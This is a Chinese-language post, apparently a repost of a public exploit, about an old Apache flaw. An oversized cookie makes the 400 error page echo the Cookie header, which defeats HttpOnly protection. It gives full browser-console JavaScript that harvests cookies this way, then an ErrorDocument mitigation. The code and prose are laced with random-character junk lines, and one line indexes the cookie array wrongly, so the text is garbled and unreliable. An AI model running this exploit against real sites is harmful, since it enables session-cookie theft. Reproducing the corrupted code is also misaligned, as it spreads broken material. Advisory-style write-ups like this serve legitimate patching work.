Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

$ g. g- _& C9 A* K用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:

, a. @, {5 k; x( a* x+ T" c. l: E
, {7 o2 }4 w2 }, i// http://www.exploit-db.com/exploits/18442/
8 C$ @0 g$ A# o0 ]: Y0 Vfunction setCookies (good) {
// Construct string for cookie value
% k! J# E  k# ?; ~/ x: T5 ovar str = "";
for (var i=0; i< 819; i++) {
8 n' B1 g$ }9 ~1 A6 qstr += "x";
, Z, P# D5 n+ y- M' V% B7 h$ Y}
6 N  t! f* o, \  _5 d// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
# [( W' c5 _( F/ a}
// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
4 M) {! M) F0 ?1 x$ d% o) @9 x}
document.cookie = cookie;
}
+ s$ n0 C9 v/ O( v* S/ A" Q}
function makeRequest() {
setCookies();
function parseCookies () {
6 F/ ~: y/ P% n* f0 Pvar cookie_dict = {};
// Only react on 400 status
5 ?9 ?  w8 F$ f3 @: Xif (xhr.readyState === 4 && xhr.status === 400) {
5 f( c2 C7 Y$ F- R// Replace newlines and match <pre> content
1 m# o! B8 l6 R& vvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
: C& C/ [  f0 U$ q6 b, I7 zif (content.length) {
: t  v1 g& F" u4 j" W" Y7 {4 Z$ v// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
4 {2 v+ X8 n4 z# n' Zvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
8 X* n) K' m; `5 C// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies.split('=',2);
- x' R" B7 g6 r( jcookie_dict[s_c[0]] = s_c[1];
( H* `, e- J' w" d5 X}
, k5 ~3 n2 Y" h# e}
$ L, l! Q, w* S6 H. o; a: F! k// Unset malicious cookies
6 T7 h; E: f% Z9 E; j6 X: ]$ P1 RsetCookies(true);
alert(JSON.stringify(cookie_dict));
! r* O% e% b; W8 F7 f  m}
}
7 j& N; T% ^" H: ^+ Q// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
7 S1 c, s7 \/ jxhr.send(null);
4 |6 ?1 l+ p; R3 q7 q1 q! j}
makeRequest();

你就能看见华丽丽的400错误包含着cookie信息。

下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

) z2 B8 P8 K8 t1 `修复方案：

, D0 ~/ U; z" b9 ?( o; ?* y5 VApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

In the event of a problem or error, Apachecan be configured to do one of four things,

1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
! \1 u0 W* F2 s7 Q7 @* {3 |6 p2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
% v; Q% H2 c  S. }4. redirect to an external URL to handle theproblem/error转向一个外部URL
% Y! u/ p3 E& g# F- z7 M* ~) l
/ s% M( G0 b, f2 M! V经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
! I; L" k. U1 T6 m$ G" {7 U
Apache配置：

ErrorDocument400 " security test"
5 [9 n' P! j' n- W
当然，升级apache到最新也可：）。

参考：http://httpd.apache.org/security/vulnerabilities_22.html

9 s3 X4 S8 n" g: C. W. c